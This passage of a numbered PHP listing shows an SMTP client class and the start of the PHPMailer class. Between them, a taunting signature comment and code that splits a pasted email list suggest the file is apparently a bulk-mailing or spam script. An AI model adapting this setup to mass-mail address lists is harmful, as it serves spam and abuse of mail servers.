  760.  
  761.         # Patch to fix DOS attack
  762.       if(!$pos) {
  763.           $pos = $max_line_length - 1;
  764.         }
  765.  
  766.         $lines_out[] = substr($line,0,$pos);
  767.         $line = substr($line,$pos + 1);
  768.         # if we are processing headers we need to
  769.       # add a LWSP-char to the front of the new line
  770.       # rfc 822 on long msg headers
  771.       if($in_headers) {
  772.           $line = "\t" . $line;
  773.         }
  774.       }
  775.       $lines_out[] = $line;
  776.  
  777.       # now send the lines to the server
  778.     while(list(,$line_out) = @each($lines_out)) {
  779.         if(strlen($line_out) > 0)
  780.         {
  781.           if(substr($line_out, 0, 1) == ".") {
  782.             $line_out = "." . $line_out;
  783.           }
  784.         }
  785.         fputs($this->smtp_conn,$line_out . $this->CRLF);
  786.       }
  787.     }
  788.  
  789.     # ok all the message data has been sent so lets get this
  790.   # over with aleady
  791.   fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
  792.  
  793.     $rply = $this->get_lines();
  794.     $code = substr($rply,0,3);
  795.  
  796.     if($this->do_debug >= 2) {
  797.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  798.     }
  799.  
  800.     if($code != 250) {
  801.       $this->error =
  802.         array("error" => "DATA not accepted from server",
  803.               "smtp_code" => $code,
  804.               "smtp_msg" => substr($rply,4));
  805.       if($this->do_debug >= 1) {
  806.         echo "SMTP -> ERROR: " . $this->error["error"] .
  807.                  ": " . $rply . $this->CRLF;
  808.       }
  809.       return false;
  810.     }
  811.     return true;
  812.   }
  813.  
  814.   /**
  815.    * Expand takes the name and asks the server to list all the
  816.    * people who are members of the _list_. Expand will return
  817.    * back and array of the result or false if an error occurs.
  818.    * Each value in the array returned has the format of:
  819.    *     [ <full-name> <sp> ] <path>
  820.    * The definition of <path> is defined in rfc 821
  821.    *
  822.    * Implements rfc 821: EXPN <SP> <string> <CRLF>
  823.    *
  824.    * SMTP CODE SUCCESS: 250
  825.    * SMTP CODE FAILURE: 550
  826.    * SMTP CODE ERROR  : 500,501,502,504,421
  827.    * @access public
  828.    * @return string array
  829.    */
  830.   function Expand($name) {
  831.     $this->error = null; # so no confusion is caused
  832.  
  833.     if(!$this->connected()) {
  834.       $this->error = array(
  835.             "error" => "Called Expand() without being connected");
  836.       return false;
  837.     }
  838.  
  839.     fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
  840.  
  841.     $rply = $this->get_lines();
  842.     $code = substr($rply,0,3);
  843.  
  844.     if($this->do_debug >= 2) {
  845.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  846.     }
  847.  
  848.     if($code != 250) {
  849.       $this->error =
  850.         array("error" => "EXPN not accepted from server",
  851.               "smtp_code" => $code,
  852.               "smtp_msg" => substr($rply,4));
  853.       if($this->do_debug >= 1) {
  854.         echo "SMTP -> ERROR: " . $this->error["error"] .
  855.                  ": " . $rply . $this->CRLF;
  856.       }
  857.       return false;
  858.     }
  859.  
  860.     # parse the reply and place in our array to return to user
  861.   $entries = explode($this->CRLF,$rply);
  862.     while(list(,$l) = @each($entries)) {
  863.       $list[] = substr($l,4);
  864.     }
  865.  
  866.     return $list;
  867.   }
  868.  
  869.   /**
  870.    * Sends the HELO command to the smtp server.
  871.    * This makes sure that we and the server are in
  872.    * the same known state.
  873.    *
  874.    * Implements from rfc 821: HELO <SP> <domain> <CRLF>
  875.    *
  876.    * SMTP CODE SUCCESS: 250
  877.    * SMTP CODE ERROR  : 500, 501, 504, 421
  878.    * @access public
  879.    * @return bool
  880.    */
  881.   function Hello($host="") {
  882.     $this->error = null; # so no confusion is caused
  883.  
  884.     if(!$this->connected()) {
  885.       $this->error = array(
  886.             "error" => "Called Hello() without being connected");
  887.       return false;
  888.     }
  889.  
  890.     # if a hostname for the HELO was not specified determine
  891.   # a suitable one to send
  892.   if(empty($host)) {
  893.       # we need to determine some sort of appopiate default
  894.     # to send to the server
  895.     $host = "localhost";
  896.     }
  897.  
  898.     // Send extended hello first (RFC 2821)
  899.     if(!$this->SendHello("EHLO", $host))
  900.     {
  901.       if(!$this->SendHello("HELO", $host))
  902.           return false;
  903.     }
  904.  
  905.     return true;
  906.   }
  907.  
  908.   /**
  909.    * Sends a HELO/EHLO command.
  910.    * @access private
  911.    * @return bool
  912.    */
  913.   function SendHello($hello, $host) {
  914.     fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
  915.  
  916.     $rply = $this->get_lines();
  917.     $code = substr($rply,0,3);
  918.  
  919.     if($this->do_debug >= 2) {
  920.       echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
  921.     }
  922.  
  923.     if($code != 250) {
  924.       $this->error =
  925.         array("error" => $hello . " not accepted from server",
  926.               "smtp_code" => $code,
  927.               "smtp_msg" => substr($rply,4));
  928.       if($this->do_debug >= 1) {
  929.         echo "SMTP -> ERROR: " . $this->error["error"] .
  930.                  ": " . $rply . $this->CRLF;
  931.       }
  932.       return false;
  933.     }
  934.  
  935.     $this->helo_rply = $rply;
  936.  
  937.     return true;
  938.   }
  939.  
  940.   /**
  941.    * Gets help information on the keyword specified. If the keyword
  942.    * is not specified then returns generic help, ussually contianing
  943.    * A list of keywords that help is available on. This function
  944.    * returns the results back to the user. It is up to the user to
  945.    * handle the returned data. If an error occurs then false is
  946.    * returned with $this->error set appropiately.
  947.    *
  948.    * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
  949.    *
  950.    * SMTP CODE SUCCESS: 211,214
  951.    * SMTP CODE ERROR  : 500,501,502,504,421
  952.    * @access public
  953.    * @return string
  954.    */
  955.   function Help($keyword="") {
  956.     $this->error = null; # to avoid confusion
  957.  
  958.     if(!$this->connected()) {
  959.       $this->error = array(
  960.               "error" => "Called Help() without being connected");
  961.       return false;
  962.     }
  963.  
  964.     $extra = "";
  965.     if(!empty($keyword)) {
  966.       $extra = " " . $keyword;
  967.     }
  968.  
  969.     fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
  970.  
  971.     $rply = $this->get_lines();
  972.     $code = substr($rply,0,3);
  973.  
  974.     if($this->do_debug >= 2) {
  975.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  976.     }
  977.  
  978.     if($code != 211 && $code != 214) {
  979.       $this->error =
  980.         array("error" => "HELP not accepted from server",
  981.               "smtp_code" => $code,
  982.               "smtp_msg" => substr($rply,4));
  983.       if($this->do_debug >= 1) {
  984.         echo "SMTP -> ERROR: " . $this->error["error"] .
  985.                  ": " . $rply . $this->CRLF;
  986.       }
  987.       return false;
  988.     }
  989.  
  990.     return $rply;
  991.   }
  992.  
  993.   /**
  994.    * Starts a mail transaction from the email address specified in
  995.    * $from. Returns true if successful or false otherwise. If True
  996.    * the mail transaction is started and then one or more Recipient
  997.    * commands may be called followed by a Data command.
  998.    *
  999.    * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
  1000.    *
  1001.    * SMTP CODE SUCCESS: 250
  1002.    * SMTP CODE SUCCESS: 552,451,452
  1003.    * SMTP CODE SUCCESS: 500,501,421
  1004.    * @access public
  1005.    * @return bool
  1006.    */
  1007.   function Mail($from) {
  1008.     $this->error = null; # so no confusion is caused
  1009.  
  1010.     if(!$this->connected()) {
  1011.       $this->error = array(
  1012.               "error" => "Called Mail() without being connected");
  1013.       return false;
  1014.     }
  1015.  
  1016.     $useVerp = ($this->do_verp ? "XVERP" : "");
  1017.     fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
  1018.  
  1019.     $rply = $this->get_lines();
  1020.     $code = substr($rply,0,3);
  1021.  
  1022.     if($this->do_debug >= 2) {
  1023.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1024.     }
  1025.  
  1026.     if($code != 250) {
  1027.       $this->error =
  1028.         array("error" => "MAIL not accepted from server",
  1029.               "smtp_code" => $code,
  1030.               "smtp_msg" => substr($rply,4));
  1031.       if($this->do_debug >= 1) {
  1032.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1033.                  ": " . $rply . $this->CRLF;
  1034.       }
  1035.       return false;
  1036.     }
  1037.     return true;
  1038.   }
  1039.  
  1040.   /**
  1041.    * Sends the command NOOP to the SMTP server.
  1042.    *
  1043.    * Implements from rfc 821: NOOP <CRLF>
  1044.    *
  1045.    * SMTP CODE SUCCESS: 250
  1046.    * SMTP CODE ERROR  : 500, 421
  1047.    * @access public
  1048.    * @return bool
  1049.    */
  1050.   function Noop() {
  1051.     $this->error = null; # so no confusion is caused
  1052.  
  1053.     if(!$this->connected()) {
  1054.       $this->error = array(
  1055.               "error" => "Called Noop() without being connected");
  1056.       return false;
  1057.     }
  1058.  
  1059.     fputs($this->smtp_conn,"NOOP" . $this->CRLF);
  1060.  
  1061.     $rply = $this->get_lines();
  1062.     $code = substr($rply,0,3);
  1063.  
  1064.     if($this->do_debug >= 2) {
  1065.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1066.     }
  1067.  
  1068.     if($code != 250) {
  1069.       $this->error =
  1070.         array("error" => "NOOP not accepted from server",
  1071.               "smtp_code" => $code,
  1072.               "smtp_msg" => substr($rply,4));
  1073.       if($this->do_debug >= 1) {
  1074.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1075.                  ": " . $rply . $this->CRLF;
  1076.       }
  1077.       return false;
  1078.     }
  1079.     return true;
  1080.   }
  1081.  
  1082.   /**
  1083.    * Sends the quit command to the server and then closes the socket
  1084.    * if there is no error or the $close_on_error argument is true.
  1085.    *
  1086.    * Implements from rfc 821: QUIT <CRLF>
  1087.    *
  1088.    * SMTP CODE SUCCESS: 221
  1089.    * SMTP CODE ERROR  : 500
  1090.    * @access public
  1091.    * @return bool
  1092.    */
  1093.   function Quit($close_on_error=true) {
  1094.     $this->error = null; # so there is no confusion
  1095.  
  1096.     if(!$this->connected()) {
  1097.       $this->error = array(
  1098.               "error" => "Called Quit() without being connected");
  1099.       return false;
  1100.     }
  1101.  
  1102.     # send the quit command to the server
  1103.   fputs($this->smtp_conn,"quit" . $this->CRLF);
  1104.  
  1105.     # get any good-bye messages
  1106.   $byemsg = $this->get_lines();
  1107.  
  1108.     if($this->do_debug >= 2) {
  1109.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
  1110.     }
  1111.  
  1112.     $rval = true;
  1113.     $e = null;
  1114.  
  1115.     $code = substr($byemsg,0,3);
  1116.     if($code != 221) {
  1117.       # use e as a tmp var cause Close will overwrite $this->error
  1118.     $e = array("error" => "SMTP server rejected quit command",
  1119.                  "smtp_code" => $code,
  1120.                  "smtp_rply" => substr($byemsg,4));
  1121.       $rval = false;
  1122.       if($this->do_debug >= 1) {
  1123.         echo "SMTP -> ERROR: " . $e["error"] . ": " .
  1124.                  $byemsg . $this->CRLF;
  1125.       }
  1126.     }
  1127.  
  1128.     if(empty($e) || $close_on_error) {
  1129.       $this->Close();
  1130.     }
  1131.  
  1132.     return $rval;
  1133.   }
  1134.  
  1135.   /**
  1136.    * Sends the command RCPT to the SMTP server with the TO: argument of $to.
  1137.    * Returns true if the recipient was accepted false if it was rejected.
  1138.    *
  1139.    * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
  1140.    *
  1141.    * SMTP CODE SUCCESS: 250,251
  1142.    * SMTP CODE FAILURE: 550,551,552,553,450,451,452
  1143.    * SMTP CODE ERROR  : 500,501,503,421
  1144.    * @access public
  1145.    * @return bool
  1146.    */
  1147.   function Recipient($to) {
  1148.     $this->error = null; # so no confusion is caused
  1149.  
  1150.     if(!$this->connected()) {
  1151.       $this->error = array(
  1152.               "error" => "Called Recipient() without being connected");
  1153.       return false;
  1154.     }
  1155.  
  1156.     fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
  1157.  
  1158.     $rply = $this->get_lines();
  1159.     $code = substr($rply,0,3);
  1160.  
  1161.     if($this->do_debug >= 2) {
  1162.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1163.     }
  1164.  
  1165.     if($code != 250 && $code != 251) {
  1166.       $this->error =
  1167.         array("error" => "RCPT not accepted from server",
  1168.               "smtp_code" => $code,
  1169.               "smtp_msg" => substr($rply,4));
  1170.       if($this->do_debug >= 1) {
  1171.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1172.                  ": " . $rply . $this->CRLF;
  1173.       }
  1174.       return false;
  1175.     }
  1176.     return true;
  1177.   }
  1178.  
  1179.   /**
  1180.    * Sends the RSET command to abort and transaction that is
  1181.    * currently in progress. Returns true if successful false
  1182.    * otherwise.
  1183.    *
  1184.    * Implements rfc 821: RSET <CRLF>
  1185.    *
  1186.    * SMTP CODE SUCCESS: 250
  1187.    * SMTP CODE ERROR  : 500,501,504,421
  1188.    * @access public
  1189.    * @return bool
  1190.    */
  1191.   function Reset() {
  1192.     $this->error = null; # so no confusion is caused
  1193.  
  1194.     if(!$this->connected()) {
  1195.       $this->error = array(
  1196.               "error" => "Called Reset() without being connected");
  1197.       return false;
  1198.     }
  1199.  
  1200.     fputs($this->smtp_conn,"RSET" . $this->CRLF);
  1201.  
  1202.     $rply = $this->get_lines();
  1203.     $code = substr($rply,0,3);
  1204.  
  1205.     if($this->do_debug >= 2) {
  1206.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1207.     }
  1208.  
  1209.     if($code != 250) {
  1210.       $this->error =
  1211.         array("error" => "RSET failed",
  1212.               "smtp_code" => $code,
  1213.               "smtp_msg" => substr($rply,4));
  1214.       if($this->do_debug >= 1) {
  1215.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1216.                  ": " . $rply . $this->CRLF;
  1217.       }
  1218.       return false;
  1219.     }
  1220.  
  1221.     return true;
  1222.   }
  1223.  
  1224.   /**
  1225.    * Starts a mail transaction from the email address specified in
  1226.    * $from. Returns true if successful or false otherwise. If True
  1227.    * the mail transaction is started and then one or more Recipient
  1228.    * commands may be called followed by a Data command. This command
  1229.    * will send the message to the users terminal if they are logged
  1230.    * in.
  1231.    *
  1232.    * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
  1233.    *
  1234.    * SMTP CODE SUCCESS: 250
  1235.    * SMTP CODE SUCCESS: 552,451,452
  1236.    * SMTP CODE SUCCESS: 500,501,502,421
  1237.    * @access public
  1238.    * @return bool
  1239.    */
  1240.   function Send($from) {
  1241.     $this->error = null; # so no confusion is caused
  1242.  
  1243.     if(!$this->connected()) {
  1244.       $this->error = array(
  1245.               "error" => "Called Send() without being connected");
  1246.       return false;
  1247.     }
  1248.  
  1249.     fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
  1250.  
  1251.     $rply = $this->get_lines();
  1252.     $code = substr($rply,0,3);
  1253.  
  1254.     if($this->do_debug >= 2) {
  1255.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1256.     }
  1257.  
  1258.     if($code != 250) {
  1259.       $this->error =
  1260.         array("error" => "SEND not accepted from server",
  1261.               "smtp_code" => $code,
  1262.               "smtp_msg" => substr($rply,4));
  1263.       if($this->do_debug >= 1) {
  1264.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1265.                  ": " . $rply . $this->CRLF;
  1266.       }
  1267.       return false;
  1268.     }
  1269.     return true;
  1270.   }
  1271.  
  1272.   /**
  1273.    * Starts a mail transaction from the email address specified in
  1274.    * $from. Returns true if successful or false otherwise. If True
  1275.    * the mail transaction is started and then one or more Recipient
  1276.    * commands may be called followed by a Data command. This command
  1277.    * will send the message to the users terminal if they are logged
  1278.    * in and send them an email.
  1279.    *
  1280.    * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
  1281.    *
  1282.    * SMTP CODE SUCCESS: 250
  1283.    * SMTP CODE SUCCESS: 552,451,452
  1284.    * SMTP CODE SUCCESS: 500,501,502,421
  1285.    * @access public
  1286.    * @return bool
  1287.    */
  1288.   function SendAndMail($from) {
  1289.     $this->error = null; # so no confusion is caused
  1290.  
  1291.     if(!$this->connected()) {
  1292.       $this->error = array(
  1293.           "error" => "Called SendAndMail() without being connected");
  1294.       return false;
  1295.     }
  1296.  
  1297.     fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
  1298.  
  1299.     $rply = $this->get_lines();
  1300.     $code = substr($rply,0,3);
  1301.  
  1302.     if($this->do_debug >= 2) {
  1303.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1304.     }
  1305.  
  1306.     if($code != 250) {
  1307.       $this->error =
  1308.         array("error" => "SAML not accepted from server",
  1309.               "smtp_code" => $code,
  1310.               "smtp_msg" => substr($rply,4));
  1311.       if($this->do_debug >= 1) {
  1312.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1313.                  ": " . $rply . $this->CRLF;
  1314.       }
  1315.       return false;
  1316.     }
  1317.     return true;
  1318.   }
  1319.  
  1320.   /**
  1321.    * Starts a mail transaction from the email address specified in
  1322.    * $from. Returns true if successful or false otherwise. If True
  1323.    * the mail transaction is started and then one or more Recipient
  1324.    * commands may be called followed by a Data command. This command
  1325.    * will send the message to the users terminal if they are logged
  1326.    * in or mail it to them if they are not.
  1327.    *
  1328.    * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
  1329.    *
  1330.    * SMTP CODE SUCCESS: 250
  1331.    * SMTP CODE SUCCESS: 552,451,452
  1332.    * SMTP CODE SUCCESS: 500,501,502,421
  1333.    * @access public
  1334.    * @return bool
  1335.    */
  1336.   function SendOrMail($from) {
  1337.     $this->error = null; # so no confusion is caused
  1338.  
  1339.     if(!$this->connected()) {
  1340.       $this->error = array(
  1341.           "error" => "Called SendOrMail() without being connected");
  1342.       return false;
  1343.     }
  1344.  
  1345.     fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
  1346.  
  1347.     $rply = $this->get_lines();
  1348.     $code = substr($rply,0,3);
  1349.  
  1350.     if($this->do_debug >= 2) {
  1351.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1352.     }
  1353.  
  1354.     if($code != 250) {
  1355.       $this->error =
  1356.         array("error" => "SOML not accepted from server",
  1357.               "smtp_code" => $code,
  1358.               "smtp_msg" => substr($rply,4));
  1359.       if($this->do_debug >= 1) {
  1360.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1361.                  ": " . $rply . $this->CRLF;
  1362.       }
  1363.       return false;
  1364.     }
  1365.     return true;
  1366.   }
  1367.  
  1368.   /**
  1369.    * This is an optional command for SMTP that this class does not
  1370.    * support. This method is here to make the RFC821 Definition
  1371.    * complete for this class and __may__ be implimented in the future
  1372.    *
  1373.    * Implements from rfc 821: TURN <CRLF>
  1374.    *
  1375.    * SMTP CODE SUCCESS: 250
  1376.    * SMTP CODE FAILURE: 502
  1377.    * SMTP CODE ERROR  : 500, 503
  1378.    * @access public
  1379.    * @return bool
  1380.    */
  1381.   function Turn() {
  1382.     $this->error = array("error" => "This method, TURN, of the SMTP ".
  1383.                                     "is not implemented");
  1384.     if($this->do_debug >= 1) {
  1385.       echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
  1386.     }
  1387.     return false;
  1388.   }
  1389.  
  1390.   /**
  1391.    * Verifies that the name is recognized by the server.
  1392.    * Returns false if the name could not be verified otherwise
  1393.    * the response from the server is returned.
  1394.    *
  1395.    * Implements rfc 821: VRFY <SP> <string> <CRLF>
  1396.    *
  1397.    * SMTP CODE SUCCESS: 250,251
  1398.    * SMTP CODE FAILURE: 550,551,553
  1399.    * SMTP CODE ERROR  : 500,501,502,421
  1400.    * @access public
  1401.    * @return int
  1402.    */
  1403.   function Verify($name) {
  1404.     $this->error = null; # so no confusion is caused
  1405.  
  1406.     if(!$this->connected()) {
  1407.       $this->error = array(
  1408.               "error" => "Called Verify() without being connected");
  1409.       return false;
  1410.     }
  1411.  
  1412.     fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
  1413.  
  1414.     $rply = $this->get_lines();
  1415.     $code = substr($rply,0,3);
  1416.  
  1417.     if($this->do_debug >= 2) {
  1418.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1419.     }
  1420.  
  1421.     if($code != 250 && $code != 251) {
  1422.       $this->error =
  1423.         array("error" => "VRFY failed on name '$name'",
  1424.               "smtp_code" => $code,
  1425.               "smtp_msg" => substr($rply,4));
  1426.       if($this->do_debug >= 1) {
  1427.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1428.                  ": " . $rply . $this->CRLF;
  1429.       }
  1430.       return false;
  1431.     }
  1432.     return $rply;
  1433.   }
  1434.  
  1435.   /*******************************************************************
  1436.    *                       INTERNAL FUNCTIONS                       *
  1437.    ******************************************************************/
  1438.  
  1439.   /**
  1440.    * Read in as many lines as possible
  1441.    * either before eof or socket timeout occurs on the operation.
  1442.    * With SMTP we can tell if we have more lines to read if the
  1443.    * 4th character is '-' symbol. If it is a space then we don't
  1444.    * need to read anything else.
  1445.    * @access private
  1446.    * @return string
  1447.    */
  1448.   function get_lines() {
  1449.     $data = "";
  1450.     while($str = @fgets($this->smtp_conn,515)) {
  1451.       if($this->do_debug >= 4) {
  1452.         echo "SMTP -> get_lines(): \$data was \"$data\"" .
  1453.                  $this->CRLF;
  1454.         echo "SMTP -> get_lines(): \$str is \"$str\"" .
  1455.                  $this->CRLF;
  1456.       }
  1457.       $data .= $str;
  1458.       if($this->do_debug >= 4) {
  1459.         echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
  1460.       }
  1461.       # if the 4th character is a space then we are done reading
  1462.     # so just break the loop
  1463.     if(substr($str,3,1) == " ") { break; }
  1464.     }
  1465.     return $data;
  1466.   }
  1467.  
  1468. }
  1469.  // Here Bitchz Hilmy
  1470.  
  1471. $allemails = split("\n", $emaillist);
  1472. $numemails = count($allemails);
  1473.  
  1474. class PHPMailer {
  1475.  
  1476.   /////////////////////////////////////////////////
  1477.   // PROPERTIES, PUBLIC
  1478.   /////////////////////////////////////////////////
  1479.  
  1480.   /**
  1481.    * Email priority (1 = High, 3 = Normal, 5 = low).
  1482.    * @var int
  1483.    */
  1484.   var $Priority          = 3;
  1485.  
  1486.   /**
  1487.    * Sets the CharSet of the message.
  1488.    * @var string
  1489.    */
  1490.   var $CharSet           = 'us-ascii';
  1491.  
  1492.   /**
  1493.    * Sets the Content-type of the message.
  1494.    * @var string
  1495.    */
  1496.   var $ContentType        = 'text/plain';
  1497.  
  1498.   /**
  1499.    * Sets the Encoding of the message. Options for this are "8bit",
  1500.    * "7bit", "binary", "base64", and "quoted-printable".
  1501.  
  1502.    * @var string
  1503.    */
  1504.   var $Encoding          = 'quoted-printable';
  1505.  
  1506.   /**
  1507.    * Holds the most recent mailer error message.
  1508.    * @var string
  1509.    */
  1510.   var $ErrorInfo         = '';
  1511.  
  1512.   /**
  1513.    * Sets the From email address for the message.
  1514.    * @var string
  1515.    */
  1516.   var $From              = '';
  1517.  
  1518.   /**
  1519.    * Sets the From name of the message.
  1520.    * @var string
  1521.    */
  1522.   var $FromName          = '';
  1523.  
  1524.   /**
  1525.    * Sets the Sender email (Return-Path) of the message.  If not empty,
  1526.    * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  1527.    * @var string
  1528.    */
  1529.   var $Sender            = '';
  1530.  
  1531.   /**
  1532.    * Sets the Subject of the message.
  1533.    * @var string
  1534.    */
  1535.   var $Subject           = '';
  1536.  
  1537.   /**
  1538.    * Sets the Body of the message.  This can be either an HTML or text body.
  1539.    * If HTML then run IsHTML(true).
  1540.    * @var string
  1541.    */
  1542.   var $Body              = '';
  1543.  
  1544.   /**
  1545.    * Sets the text-only body of the message.  This automatically sets the
  1546.    * email to multipart/alternative.  This body can be read by mail
  1547.    * clients that do not have HTML email capability such as mutt. Clients
  1548.    * that can read HTML will view the normal Body.
  1549.    * @var string
  1550.    */
  1551.   var $AltBody           = '';
  1552.  
  1553.   /**
  1554.    * Sets word wrapping on the body of the message to a given number of
  1555.    * characters.
  1556.    * @var int
  1557.    */
  1558.   var $WordWrap          = 0;
  1559.  
  1560.   /**
  1561.    * Method to send mail: ("mail", "sendmail", or "smtp").
  1562.    * @var string
  1563.    */
  1564.   var $Mailer            = 'mail';
  1565.  
  1566.   /**
  1567.    * Sets the path of the sendmail program.
  1568.    * @var string
  1569.    */
  1570.   var $Sendmail          = '/usr/sbin/sendmail';
  1571.  
  1572.   /**
  1573.    * Path to PHPMailer plugins.  This is now only useful if the SMTP class
  1574.    * is in a different directory than the PHP include path.
  1575.    * @var string
  1576.    */
  1577.   var $PluginDir         = '';
  1578.  
  1579.   /**
  1580.    * Holds PHPMailer version.
  1581.    * @var string
  1582.    */
  1583.   var $Version           = "";
  1584.  
  1585.   /**
  1586.    * Sets the email address that a reading confirmation will be sent.
  1587.    * @var string
  1588.    */
  1589.   var $ConfirmReadingTo  = '';
  1590.  
  1591.   /**
  1592.    * Sets the hostname to use in Message-Id and Received headers
  1593.    * and as default HELO string. If empty, the value returned
  1594.    * by SERVER_NAME is used or 'localhost.localdomain'.
  1595.    * @var string
  1596.    */
  1597.   var $Hostname          = '';
  1598.  
  1599.   /**
  1600.    * Sets the message ID to be used in the Message-Id header.
  1601.    * If empty, a unique id will be generated.
  1602.    * @var string
  1603.    */
  1604.   var $MessageID         = '';
  1605.  
  1606.   /////////////////////////////////////////////////
  1607.   // PROPERTIES FOR SMTP
  1608.   /////////////////////////////////////////////////
  1609.  
  1610.   /**
  1611.    * Sets the SMTP hosts.  All hosts must be separated by a
  1612.    * semicolon.  You can also specify a different port
  1613.    * for each host by using this format: [hostname:port]
  1614.    * (e.g. "smtp1.example.com:25;smtp2.example.com").
  1615.    * Hosts will be tried in order.
  1616.    * @var string
  1617.    */
  1618.   var $Host        = 'localhost';
  1619.  
  1620.   /**
  1621.    * Sets the default SMTP server port.
  1622.    * @var int
  1623.    */
  1624.   var $Port        = 25;
  1625.  
  1626.   /**
  1627.    * Sets the SMTP HELO of the message (Default is $Hostname).
  1628.    * @var string
  1629.    */
  1630.   var $Helo        = '';
  1631.  
  1632.   /**
  1633.    * Sets connection prefix.
  1634.    * Options are "", "ssl" or "tls"
  1635.    * @var string
  1636.    */
  1637.   var $SMTPSecure = "";
  1638.  
  1639.   /**
  1640.    * Sets SMTP authentication. Utilizes the Username and Password variables.
  1641.    * @var bool
  1642.    */
  1643.   var $SMTPAuth     = false;
  1644.  
  1645.   /**
  1646.    * Sets SMTP username.
  1647.    * @var string
  1648.    */
  1649.   var $Username     = '';
  1650.  
  1651.   /**
  1652.    * Sets SMTP password.
  1653.    * @var string
  1654.    */
  1655.   var $Password     = '';
  1656.  
  1657.   /**
  1658.    * Sets the SMTP server timeout in seconds. This function will not
  1659.    * work with the win32 version.
  1660.    * @var int
  1661.    */
  1662.   var $Timeout      = 10;
  1663.  
  1664.   /**
  1665.    * Sets SMTP class debugging on or off.
  1666.    * @var bool
  1667.    */
  1668.   var $SMTPDebug    = false;
  1669.  
  1670.   /**
  1671.    * Prevents the SMTP connection from being closed after each mail
  1672.    * sending.  If this is set to true then to close the connection
  1673.    * requires an explicit call to SmtpClose().
  1674.    * @var bool
  1675.    */
  1676.   var $SMTPKeepAlive = false;
  1677.  
  1678.   /**
  1679.    * Provides the ability to have the TO field process individual
  1680.    * emails, instead of sending to entire TO addresses
  1681.    * @var bool
  1682.    */
  1683.   var $SingleTo = false;
  1684.  
  1685.   /////////////////////////////////////////////////
  1686.   // PROPERTIES, PRIVATE
  1687.   /////////////////////////////////////////////////
  1688.  
  1689.   var $smtp            = NULL;
  1690.   var $to              = array();
  1691.   var $cc              = array();
  1692.   var $bcc             = array();
  1693.   var $ReplyTo         = array();
  1694.   var $attachment      = array();
  1695.   var $CustomHeader    = array();
  1696.   var $message_type    = '';
  1697.   var $boundary        = array();
  1698.   var $language        = array();
  1699.   var $error_count     = 0;
  1700.   var $LE              = "\n";
  1701.   var $sign_key_file   = "";
  1702.   var $sign_key_pass   = "";
  1703.  
  1704.   /////////////////////////////////////////////////
  1705.   // METHODS, VARIABLES
  1706.   /////////////////////////////////////////////////
  1707.  
  1708.   /**
  1709.    * Sets message type to HTML.
  1710.    * @param bool $bool
  1711.    * @return void
  1712.    */
  1713.   function IsHTML($bool) {
  1714.     if($bool == true) {
  1715.       $this->ContentType = 'text/html';
  1716.     } else {
  1717.       $this->ContentType = 'text/plain';
  1718.     }
  1719.   }
  1720.  
  1721.   /**
  1722.    * Sets Mailer to send message using SMTP.
  1723.    * @return void
  1724.    */
  1725.   function IsSMTP() {
  1726.     $this->Mailer = 'smtp';
  1727.   }
  1728.  
  1729.   /**
  1730.    * Sets Mailer to send message using PHP mail() function.
  1731.    * @return void
  1732.    */
  1733.   function IsMail() {
  1734.     $this->Mailer = 'mail';
  1735.   }
  1736.  
  1737.   /**
  1738.    * Sets Mailer to send message using the $Sendmail program.
  1739.    * @return void
  1740.    */
  1741.   function IsSendmail() {
  1742.     $this->Mailer = 'sendmail';
  1743.   }
  1744.  
  1745.   /**
  1746.    * Sets Mailer to send message using the qmail MTA.
  1747.    * @return void
  1748.    */
  1749.   function IsQmail() {
  1750.     $this->Sendmail = '/var/qmail/bin/sendmail';
  1751.     $this->Mailer = 'sendmail';
  1752.   }
  1753.  
  1754.   /////////////////////////////////////////////////
  1755.   // METHODS, RECIPIENTS
  1756.   /////////////////////////////////////////////////
  1757.  
  1758.   /**
  1759.    * Adds a "To" address.
  1760.    * @param string $address
  1761.    * @param string $name
  1762.    * @return void
  1763.    */
  1764.   function AddAddress($address, $name = '') {
  1765.     $cur = count($this->to);
  1766.     $this->to[$cur][0] = trim($address);
  1767.     $this->to[$cur][1] = $name;
  1768.   }
  1769.  
  1770.   /**
  1771.    * Adds a "Cc" address. Note: this function works
  1772.    * with the SMTP mailer on win32, not with the "mail"
  1773.    * mailer.
